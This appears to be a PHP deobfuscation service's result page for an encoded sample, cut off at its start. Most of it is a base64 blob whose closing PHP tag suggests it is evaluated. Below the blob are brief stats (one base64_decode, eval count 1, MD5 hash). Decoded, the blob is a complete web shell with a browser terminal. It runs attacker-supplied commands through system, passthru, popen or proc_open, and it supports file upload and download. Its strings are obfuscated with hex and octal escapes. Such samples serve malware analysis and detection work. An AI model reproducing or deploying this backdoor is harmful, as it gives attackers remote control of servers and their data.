4aXN0KGFycmF5KCJceDczXDE3MVx4NzNceDc0XHg2NVwxNTUiLCAiXDE1N1wxNDJceDVmXDE2M1wxNjRcMTQxXHg3Mlx4NzQiLCAiXHg2Zlx4NjJcMTM3XDE0N1x4NjVcMTY0XDEzN1wxNDNcMTU3XDE1NlwxNjRceDY1XHg2ZVx4NzRcMTYzIiwgIlx4NmZceDYyXHg1ZlwxNDVcMTU2XHg2NFwxMzdcMTQzXDE1NFwxNDVceDYxXDE1NiIpKSkgeyBvYl9zdGFydCgpOyBzeXN0ZW0oJGNtZCk7ICRvdXRwdXQgPSBvYl9nZXRfY29udGVudHMoKTsgb2JfZW5kX2NsZWFuKCk7IH0gZWxzZSB7IGlmIChhbGxGdW5jdGlvbkV4aXN0KGFycmF5KCJceDcwXDE0MVx4NzNceDczXHg3NFx4NjhcMTYyXHg3NSIsICJceDZmXDE0Mlx4NWZcMTYzXHg3NFwxNDFcMTYyXDE2NCIsICJceDZmXHg2Mlx4NWZceDY3XDE0NVx4NzRcMTM3XHg2M1wxNTdcMTU2XDE2NFx4NjVceDZlXHg3NFwxNjMiLCAiXHg2ZlwxNDJcMTM3XHg2NVx4NmVceDY0XHg1Zlx4NjNcMTU0XHg2NVx4NjFcMTU2IikpKSB7IG9iX3N0YXJ0KCk7IHBhc3N0aHJ1KCRjbWQpOyAkb3V0cHV0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7IG9iX2VuZF9jbGVhbigpOyB9IGVsc2UgeyBpZiAoYWxsRnVuY3Rpb25FeGlzdChhcnJheSgiXDE2MFwxNTdceDcwXHg2NVx4NmUiLCAiXHg2Nlx4NjVcMTU3XHg2NiIsICJcMTQ2XHg3Mlx4NjVceDYxXHg2NCIsICJceDcwXDE0M1x4NmNcMTU3XHg3M1x4NjUiKSkpIHsgJGhhbmRsZSA9IHBvcGVuKCRjbWQsICJcMTYyIik7IHdoaWxlICghZmVvZigkaGFuZGxlKSkgeyAkb3V0cHV0IC49IGZyZWFkKCRoYW5kbGUsIDQwOTYpOyB9IHBjbG9zZSgkaGFuZGxlKTsgfSBlbHNlIHsgaWYgKGFsbEZ1bmN0aW9uRXhpc3QoYXJyYXkoIlx4NzBcMTYyXDE1N1x4NjNceDVmXHg2ZlwxNjBceDY1XDE1NiIsICJceDczXHg3NFwxNjJcMTQ1XHg2MVwxNTVceDVmXHg2N1wxNDVcMTY0XDEzN1wxNDNcMTU3XHg2ZVwxNjRceDY1XHg2ZVwxNjRcMTYzIiwgIlwxNjBceDcyXDE1N1wxNDNcMTM3XHg2M1wxNTRcMTU3XDE2M1x4NjUiKSkpIHsgJGhhbmRsZSA9IHByb2Nfb3BlbigkY21kLCBhcnJheSgwID0+IGFycmF5KCJcMTYwXDE1MVwxNjBcMTQ1IiwgIlx4NzIiKSwgMSA9PiBhcnJheSgiXHg3MFwxNTFcMTYwXDE0NSIsICJceDc3IikpLCAkcGlwZXMpOyAkb3V0cHV0ID0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOyBwcm9jX2Nsb3NlKCRoYW5kbGUpOyB9IH0gfSB9IH0gfSByZXR1cm4gJG91dHB1dDsgfSBnb3RvIGNqV0Q4OyBXQ2dJYTogZnVuY3Rpb24gZmVhdHVyZVB3ZCgpIHsgcmV0dXJuIGFycmF5KCJceDYzXHg3N1x4NjQiID0+IGJhc2U2NF9lbmNvZGUoZ2V0Y3dkKCkpKTsgfSBnb3RvIE9ldUk0OyB0RGZUZjogaWYgKGlzc2V0KCRfR0VUWyJceDY2XDE0NVwxNDFcMTY0XHg3NVwxNjJcMTQ1Il0pKSB7ICRyZXNwb25zZSA9IE5VTEw7IHN3aXRjaCAoJF9HRVRbIlx4NjZceDY1XDE0MVx4NzRcMTY1XHg3MlwxNDUiXSkgeyBjYXNlICJcMTYzXDE1MFx4NjVceDZjXHg2YyI6ICRjbWQgPSAkX1BPU1RbIlwxNDNceDZkXHg2NCJdOyBpZiAoIXByZWdfbWF0Y2goIlx4MmZcNjJcNzZceDJmIiwgJGNtZCkpIHsgJGNtZCAuPSAiXDQwXHgzMlx4M2VceDI2XHgzMSI7IH0gJHJlc3BvbnNlID0gZmVhdHVyZVNoZWxsKCRjbWQsICRfUE9TVFsiXHg2M1x4NzdcMTQ0Il0pOyBicmVhazsgY2FzZSAiXHg3MFx4NzdcMTQ0IjogJHJlc3BvbnNlID0gZmVhdHVyZVB3ZCgpOyBicmVhazsgY2FzZSAiXDE1MFx4NjlcMTU2XDE2NCI6ICRyZXNwb25zZSA9IGZlYXR1cmVIaW50KCRfUE9TVFsiXDE0Nlx4NjlceDZjXHg2NVx4NmVcMTQxXDE1NVwxNDUiXSwgJF9QT1NUWyJcMTQzXDE2N1wxNDQiXSwgJF9QT1NUWyJcMTY0XHg3OVx4NzBceDY1Il0pOyBicmVhazsgY2FzZSAiXHg3NVwxNjBceDZjXDE1N1x4NjFceDY0IjogJHJlc3BvbnNlID0gZmVhdHVyZVVwbG9hZCgkX1BPU1RbIlx4NzBcMTQxXDE2NFwxNTAiXSwgJF9QT1NUWyJcMTQ2XDE1MVx4NmNcMTQ1Il0sICRfUE9TVFsiXHg2M1wxNjdceDY0Il0pOyB9IGhlYWRlcigiXDEwM1wxNTdcMTU2XHg3NFx4NjVcMTU2XDE2NFw1NVwxMjRcMTcxXDE2MFwxNDVcNzJceDIwXHg2MVwxNjBcMTYwXDE1NFwxNTFceDYzXDE0MVwxNjRcMTUxXHg2ZlwxNTZceDJmXHg2YVx4NzNceDZmXHg2ZSIpOyBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7IGRpZTsgfSBlbHNlIHsgaW5pdFNoZWxsQ29uZmlnKCk7IH0gZ290byBvNF9zbDsgV1BxSTA6ID8+CixDV0Q9bnVsbCxjb21tYW5kSGlzdG9yeT1bXSxoaXN0b3J5UG9zaXRpb249MCxlU2hlbGxDbWRJbnB1dD1udWxsLGVTaGVsbENvbnRlbnQ9bnVsbDtmdW5jdGlvbiBfaW5zZXJ0Q29tbWFuZChlKXtlU2hlbGxDb250ZW50LmlubmVySFRNTCs9IlxuXG4iLGVTaGVsbENvbnRlbnQuaW5uZXJIVE1MKz0nPHNwYW4gY2xhc3M9InNoZWxsLXByb21wdCI+JytnZW5Qcm9tcHQoQ1dEKSsiPC9zcGFuPiAiLGVTaGVsbENvbnRlbnQuaW5uZXJIVE1MKz1lc2NhcGVIdG1sKGUpLGVTaGVsbENvbnRlbnQuaW5uZXJIVE1MKz0iXG4iLGVTaGVsbENvbnRlbnQuc2Nyb2xsVG9wPWVTaGVsbENvbnRlbnQuc2Nyb2xsSGVpZ2h0fWZ1bmN0aW9uIF9pbnNlcnRTdGRvdXQoZSl7ZVNoZWxsQ29udGVudC5pbm5lckhUTUwrPWVzY2FwZUh0bWwoZSksZVNoZWxsQ29udGVudC5zY3JvbGxUb3A9ZVNoZWxsQ29udGVudC5zY3JvbGxIZWlnaHR9ZnVuY3Rpb24gX2RlZmVyKGUpe3NldFRpbWVvdXQoZSwwKX1mdW5jdGlvbiBmZWF0dXJlU2hlbGwoZSl7X2luc2VydENvbW1hbmQoZSksL15ccyp1cGxvYWRccytbXlxzXStccyokLy50ZXN0KGUpP2ZlYXR1cmVVcGxvYWQoZS5tYXRjaCgvXlxzKnVwbG9hZFxzKyhbXlxzXSspXHMqJC8pWzFdKTovXlxzKmNsZWFyXHMqJC8udGVzdChlKT9lU2hlbGxDb250ZW50LmlubmVySFRNTD0iIjptYWtlUmVxdWVzdCgiP2ZlYXR1cmU9c2hlbGwiLHtjbWQ6ZSxjd2Q6Q1dEfSxmdW5jdGlvbihlKXtlLmhhc093blByb3BlcnR5KCJmaWxlIik/ZmVhdHVyZURvd25sb2FkKGF0b2IoZS5uYW1lKSxlLmZpbGUpOihfaW5zZXJ0U3Rkb3V0KGF0b2IoZS5zdGRvdXQpKSx1cGRhdGVDd2QoYXRvYihlLmN3ZCkpKX0pfWZ1bmN0aW9uIGZlYXR1cmVIaW50KCl7aWYoMCE9PWVTaGVsbENtZElucHV0LnZhbHVlLnRyaW0oKS5sZW5ndGgpe3ZhciBlPWVTaGVsbENtZElucHV0LnZhbHVlLnNwbGl0KCIgIiksbj0xPT09ZS5sZW5ndGg/ImNtZCI6ImZpbGUiO21ha2VSZXF1ZXN0KCI/ZmVhdHVyZT1oaW50Iix7ZmlsZW5hbWU6ImNtZCI9PW4/ZVswXTplW2UubGVuZ3RoLTFdLGN3ZDpDV0QsdHlwZTpufSxmdW5jdGlvbihlKXtpZighKGUuZmlsZXMubGVuZ3RoPD0xKSlpZihlLmZpbGVzPWUuZmlsZXMubWFwKGZ1bmN0aW9uKGUpe3JldHVybiBhdG9iKGUpfSksMj09PWUuZmlsZXMubGVuZ3RoKWlmKCJjbWQiPT1uKWVTaGVsbENtZElucHV0LnZhbHVlPWUuZmlsZXNbMF07ZWxzZXt2YXIgdD1lU2hlbGxDbWRJbnB1dC52YWx1ZTtlU2hlbGxDbWRJbnB1dC52YWx1ZT10LnJlcGxhY2UoLyhbXlxzXSopJC8sZS5maWxlc1swXSl9ZWxzZSBfaW5zZXJ0Q29tbWFuZChlU2hlbGxDbWRJbnB1dC52YWx1ZSksX2luc2VydFN0ZG91dChlLmZpbGVzLmpvaW4oIlxuIikpfSl9fWZ1bmN0aW9uIGZlYXR1cmVEb3dubG9hZChlLHQpe3ZhciBuPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTtuLnNldEF0dHJpYnV0ZSgiaHJlZiIsImRhdGE6YXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtO2Jhc2U2NCwiK3QpLG4uc2V0QXR0cmlidXRlKCJkb3dubG9hZCIsZSksbi5zdHlsZS5kaXNwbGF5PSJub25lIixkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKG4pLG4uY2xpY2soKSxkb2N1bWVudC5ib2R5LnJlbW92ZUNoaWxkKG4pLF9pbnNlcnRTdGRvdXQoIkRvbmUuIil9ZnVuY3Rpb24gZmVhdHVyZVVwbG9hZCh0KXt2YXIgZT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpbnB1dCIpO2Uuc2V0QXR0cmlidXRlKCJ0eXBlIiwiZmlsZSIpLGUuc3R5bGUuZGlzcGxheT0ibm9uZSIsZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChlKSxlLmFkZEV2ZW50TGlzdGVuZXIoImNoYW5nZSIsZnVuY3Rpb24oKXtnZXRCYXNlNjQoZS5maWxlc1swXSkudGhlbihmdW5jdGlvbihlKXttYWtlUmVxdWVzdCgiP2ZlYXR1cmU9dXBsb2FkIix7cGF0aDp0LGZpbGU6ZSxjd2Q6Q1dEfSxmdW5jdGlvbihlKXtfaW5zZXJ0U3Rkb3V0KGF0b2IoZS5zdGRvdXQpKSx1cGRhdGVDd2QoYXRvYihlLmN3ZCkpfSl9LGZ1bmN0aW9uKCl7X2luc2VydFN0ZG91dCgiQW4gdW5rbm93biBjbGllbnQtc2lkZSBlcnJvciBvY2N1cnJlZC4iKX0pfSksZS5jbGljaygpLGRvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQoZSl9ZnVuY3Rpb24gZ2V0QmFzZTY0KG8sZSl7cmV0dXJuIG5ldyBQcm9taXNlKGZ1bmN0aW9uKGUsdCl7dmFyIG49bmV3IEZpbGVSZWFkZXI7bi5vbmxvYWQ9ZnVuY3Rpb24oKXtlKG4ucmVzdWx0Lm1hdGNoKC9iYXNlNjQsKC4qKSQvKVsxXSl9LG4ub25lcnJvcj10LG4ucmVhZEFzRGF0YVVSTChvKX0pfWZ1bmN0aW9uIGdlblByb21wdChlKXt2YXIgdD1lPWV8fCJ+IjtpZigzPGUuc3BsaXQoIi8iKS5sZW5ndGgpe3ZhciBuPWUuc3BsaXQoIi8iKTt0PSLigKYvIituW24ubGVuZ3RoLTJdKyIvIituW24ubGVuZ3RoLTFdfXJldHVybiBTSEVMTF9DT05GSUcudXNlcm5hbWUrIkAiK1NIRUxMX0NPTkZJRy5ob3N0bmFtZSsnOjxzcGFuIHRpdGxlPSInK2UrJyI+Jyt0KyI8L3NwYW4+IyJ9ZnVuY3Rpb24gdXBkYXRlQ3dkKGUpe2lmKGUpcmV0dXJuIENXRD1lLHZvaWQgX3VwZGF0ZVByb21wdCgpO21ha2VSZXF1ZXN0KCI/ZmVhdHVyZT1wd2QiLHt9LGZ1bmN0aW9uKGUpe0NXRD1hdG9iKGUuY3dkKSxfdXBkYXRlUHJvbXB0KCl9KX1mdW5jdGlvbiBlc2NhcGVIdG1sKGUpe3JldHVybiBlLnJlcGxhY2UoLyYvZywiJmFtcDsiKS5yZXBsYWNlKC88L2csIiZsdDsiKS5yZXBsYWNlKC8+L2csIiZndDsiKX1mdW5jdGlvbiBfdXBkYXRlUHJvbXB0KCl7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNoZWxsLXByb21wdCIpLmlubmVySFRNTD1nZW5Qcm9tcHQoQ1dEKX1mdW5jdGlvbiBfb25TaGVsbENtZEtleURvd24oZSl7c3dpdGNoKGUua2V5KXtjYXNlIkVudGVyIjpmZWF0dXJlU2hlbGwoZVNoZWxsQ21kSW5wdXQudmFsdWUpLGluc2VydFRvSGlzdG9yeShlU2hlbGxDbWRJbnB1dC52YWx1ZSksZVNoZWxsQ21kSW5wdXQudmFsdWU9IiI7YnJlYWs7Y2FzZSJBcnJvd1VwIjowPGhpc3RvcnlQb3NpdGlvbiYmKGhpc3RvcnlQb3NpdGlvbi0tLGVTaGVsbENtZElucHV0LmJsdXIoKSxlU2hlbGxDbWRJbnB1dC52YWx1ZT1jb21tYW5kSGlzdG9yeVtoaXN0b3J5UG9zaXRpb25dLF9kZWZlcihmdW5jdGlvbigpe2VTaGVsbENtZElucHV0LmZvY3VzKCl9KSk7YnJlYWs7Y2FzZSJBcnJvd0Rvd24iOmlmKGhpc3RvcnlQb3NpdGlvbj49Y29tbWFuZEhpc3RvcnkubGVuZ3RoKWJyZWFrOysraGlzdG9yeVBvc2l0aW9uPT09Y29tbWFuZEhpc3RvcnkubGVuZ3RoP2VTaGVsbENtZElucHV0LnZhbHVlPSIiOihlU2hlbGxDbWRJbnB1dC5ibHVyKCksZVNoZWxsQ21kSW5wdXQuZm9jdXMoKSxlU2hlbGxDbWRJbnB1dC52YWx1ZT1jb21tYW5kSGlzdG9yeVtoaXN0b3J5UG9zaXRpb25dKTticmVhaztjYXNlIlRhYiI6ZS5wcmV2ZW50RGVmYXVsdCgpLGZlYXR1cmVIaW50KCl9fWZ1bmN0aW9uIGluc2VydFRvSGlzdG9yeShlKXtjb21tYW5kSGlzdG9yeS5wdXNoKGUpLGhpc3RvcnlQb3NpdGlvbj1jb21tYW5kSGlzdG9yeS5sZW5ndGh9ZnVuY3Rpb24gbWFrZVJlcXVlc3QoZSxuLHQpe3ZhciBvPW5ldyBYTUxIdHRwUmVxdWVzdDtvLm9wZW4oIlBPU1QiLGUsITApLG8uc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIiwiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIiksby5vbnJlYWR5c3RhdGVjaGFuZ2U9ZnVuY3Rpb24oKXtpZig0PT09by5yZWFkeVN0YXRlJiYyMDA9PT1vLnN0YXR1cyl0cnl7dmFyIGU9SlNPTi5wYXJzZShvLnJlc3BvbnNlVGV4dCk7dChlKX1jYXRjaChlKXthbGVydCgiRXJyb3Igd2hpbGUgcGFyc2luZyByZXNwb25zZTogIitlKX19LG8uc2VuZChmdW5jdGlvbigpe3ZhciBlPVtdO2Zvcih2YXIgdCBpbiBuKW4uaGFzT3duUHJvcGVydHkodCkmJmUucHVzaChlbmNvZGVVUklDb21wb25lbnQodCkrIj0iK2VuY29kZVVSSUNvbXBvbmVudChuW3RdKSk7cmV0dXJuIGUuam9pbigiJiIpfSgpKX1kb2N1bWVudC5vbmNsaWNrPWZ1bmN0aW9uKGUpe2U9ZXx8d2luZG93LmV2ZW50O3ZhciB0PXdpbmRvdy5nZXRTZWxlY3Rpb24oKTsiU0VMRUNUIiE9PShlLnRhcmdldHx8ZS5zcmNFbGVtZW50KS50YWdOYW1lJiYodC50b1N0cmluZygpfHxlU2hlbGxDbWRJbnB1dC5mb2N1cygpKX0sd2luZG93Lm9ubG9hZD1mdW5jdGlvbigpe2VTaGVsbENtZElucHV0PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzaGVsbC1jbWQiKSxlU2hlbGxDb250ZW50PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzaGVsbC1jb250ZW50IiksdXBkYXRlQ3dkKCksZVNoZWxsQ21kSW5wdXQuZm9jdXMoKX08L3NjcmlwdD48L2hlYWQ+PGJvZHk+PGRpdiBpZD0ic2hlbGwiPjxwcmUgaWQ9InNoZWxsLWNvbnRlbnQiPgogICAgICAgICAgICAgICAgPGRpdiBpZD0ic2hlbGwtbG9nbyI+CiAgICAgICAgX19fICAgICAgICAgICAgICAgICAgICAgICAgIF9fX18gICAgICBfICAgICAgICAgIF8gXyAgICAgICAgXyAgXyAgIDxzcGFuPjwvc3Bhbj4KIF8gX18gIC8gXyBcX18gICAgICBfX18gX18gIF8gICBfICAvIF9fIFwgX19ffCB8X18gICBfX198IHwgfF8gL1wvfHwgfHwgfF8gPHNwYW4+PC9zcGFuPgp8ICdfIFx8IHwgfCBcIFwgL1wgLyAvICdfIFx8IHwgfCB8LyAvIF9gIC8gX198ICdfIFwgLyBfIFwgfCAoXykvXC9fICAuLiAgX3w8c3Bhbj48L3NwYW4+CnwgfF8pIHwgfF98IHxcIFYgIFYgL3wgfCB8IHwgfF98IHwgfCAoX3wgXF9fIFwgfCB8IHwgIF9fLyB8IHxfICAgfF8gICAgICBffDxzcGFuPjwvc3Bhbj4KfCAuX18vIFxfX18vICBcXy9cXy8gfF98IHxffFxfXywgfFwgXF9fLF98X19fL198IHxffFxfX198X3xfKF8pICAgIHxffHxffCAgPHNwYW4+PC9zcGFuPgp8X3wgICAgICAgICAgICAgICAgICAgICAgICAgfF9fXy8gIFxfX19fLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj48L3NwYW4+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9wcmU+PGRpdiBpZD0ic2hlbGwtaW5wdXQiPjxsYWJlbCBjbGFzcz0ic2hlbGwtcHJvbXB0ImZvcj0ic2hlbGwtY21kImlkPSJzaGVsbC1wcm9tcHQiPj8/PzwvbGFiZWw+PGRpdj48aW5wdXQgaWQ9InNoZWxsLWNtZCJuYW1lPSJjbWQib25rZXlkb3duPSJfb25TaGVsbENtZEtleURvd24oZXZlbnQpIj48L2Rpdj48L2Rpdj48L2Rpdj48L2JvZHk+PC9odG0=')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 78059dd08fcb2036afb2ea5afde2bd87
Eval Count 1
Decode Time 82 ms